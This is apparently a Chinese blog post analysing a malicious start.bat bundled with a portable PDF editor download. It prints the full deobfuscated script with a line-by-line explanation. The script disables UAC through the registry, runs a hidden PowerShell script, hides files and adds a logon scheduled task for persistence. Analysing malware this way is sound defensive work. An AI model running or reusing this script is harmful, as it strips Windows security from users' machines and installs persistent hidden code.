在第一次下载软件时,目录中配了一个使用说明,说是需要通过start.bat 这个文件来启动程序,而这个 start.bat 就是始作俑者:
病毒作者比较狡猾,其中start.bat 用记事本打开是乱码,但是可以通过将这个批处理文件的扩展名改为.doc,然后双击就用word打开了,因为这个批处理加密是利用混淆编码的原理加密的,而word能识别很多编码,所以用word打开就可以看到真容了,打开文件,完整的的病毒启动内容脚本如下:
bash
@echo off
PUSHD %~DP0 & cd /d "%~dp0"
%1 %2
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:target
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul
cd /d bin
attrib +s +h PDFeditorPortable.exe
cd /d re\lib
start powershell -windowstyle hidden .\add.ps1 >nul 2>nul
for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i
if %f% equ 5 (
cd ..
cd ..
start PDFeditorPortable.exe
cd re\lib
SchTasks /Create /SC ONLOGON /delay 0005:00 /TN "CrashReporting" /TR "%CD%\CrashReporting.bat" /f >nul 2>nul
) else (
echo=
echo 运行过程被杀软干扰,可通过以下方法恢复:
echo=
echo 1、检查是否被杀毒软件隔离,如被隔离,请恢复并添加进信任区后再运行软件
echo=
echo 2、方法1如果不行,请关闭杀软,重新解压原本压缩文件,再运行软件
echo=
pause
)
setlocal enabledelayedexpansion
set line=0
for /f %%a in ('wmic cpu get NumberOfLogicalProcessors') do (
set /a line+=1
if !line!==2 set A=%%a
)
set /a B = %A% / 2
set fn=CrashReporting2.bat >nul 2>nul
(for /f "tokens=*" %%i in (%fn%) do (
set s=%%i
set s=!s:20=%B%!
echo !s!))>temp1126.txt
move /y temp1126.txt "%fn%" >nul 2>nul
call CrashReporting2.bat
exit
这段代码是一个 Windows 批处理脚本,主要用于修改系统注册表设置、启动程序并处理一些与安全相关的配置。以下是对代码的逐行解释:
代码解析
-
@echo off
: 关闭命令行窗口中的命令回显,使得执行时不显示每个命令的内容。 -
PUSHD %~DP0 & cd /d "%~dp0"
:PUSHD %~DP0
:将当前目录更改为脚本所在的目录。cd /d "%~dp0"
:确保切换到该目录。
-
%1 %2
: 执行传递给脚本的第一个和第二个参数。 -
mshta vbscript:createobject("shell.application").shellexecute("%~s0","goto :target","","runas",1)(window.close)&goto :eof
:- 使用
mshta
运行 VBScript,以管理员权限重新执行当前脚本,并跳转到:target
标签。 window.close
在执行后关闭窗口。&goto :eof
确保脚本在此处结束,不继续执行后面的代码。
- 使用
-
:target
: 标签,后面的代码将在跳转到此标签时执行。 -
修改注册表:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F >nul 2>nul
:- 将管理员的用户帐户控制 (UAC) 提示行为设置为 0(关闭提示)。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F >nul 2>nul
:- 禁用用户帐户控制 (UAC)。
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F >nul 2>nul
:- 关闭安全桌面上的提示。
-
cd /d bin
: 切换到bin
目录。 -
attrib +s +h PDFeditorPortable.exe
: 将PDFeditorPortable.exe
文件设置为系统文件和隐藏文件。 -
cd /d re\lib
: 切换到re\lib
目录。 -
start powershell -windowstyle hidden .\add.ps1 >nul 2>nul
:- 在隐藏窗口中启动一个 PowerShell 脚本
add.ps1
,并将输出重定向到空设备。
- 在隐藏窗口中启动一个 PowerShell 脚本
-
for /f %%i in ('dir/s/b/a-d^|find /c /v ".*"') do set f=%%i
:- 计算当前目录及子目录下的文件数量,并将结果存储在变量
f
中。
- 计算当前目录及子目录下的文件数量,并将结果存储在变量
-
条件判断:
if %f% equ 5 (...) else (...)
: 如果文件数量等于 5,则执行括号内的命令,否则执行else
部分。- 如果文件数量为 5,切换到上级目录,启动
PDFeditorPortable.exe
,并创建一个名为CrashReporting
的计划任务。 - 如果文件数量不为 5,输出提示信息,建议用户检查杀毒软件的干扰。
-
获取逻辑处理器数量:
- 通过
wmic cpu get NumberOfLogicalProcessors
获取逻辑处理器数量,并将其存储在变量A
中。 - 计算
B
为A
的一半。
- 通过
-
更新
CrashReporting2.bat
文件:- 将
CrashReporting2.bat
文件中的某些内容替换为计算得到的B
值,并将结果输出到临时文件temp1126.txt
中,最后移动回原文件。
- 将
-
调用
CrashReporting2.bat
: 执行CrashReporting2.bat
文件。 -
exit
: 结束批处理脚本的执行。
总结
这个批处理脚本的主要功能是:
- 修改系统的 UAC 设置以降低安全性。
- 启动和配置某个 PDF 编辑器。
- 处理文件数量检查,确保程序正常运行。
- 更新并执行一个名为
CrashReporting2.bat
的脚本。
由于涉及到 UAC 设置的修改,这段代码可能会被安全软件标记为潜在的恶意行为。关于病毒具体执行了什么,可以参见这篇博文:https://mp.csdn.net/mp_blog/creation/success/142697281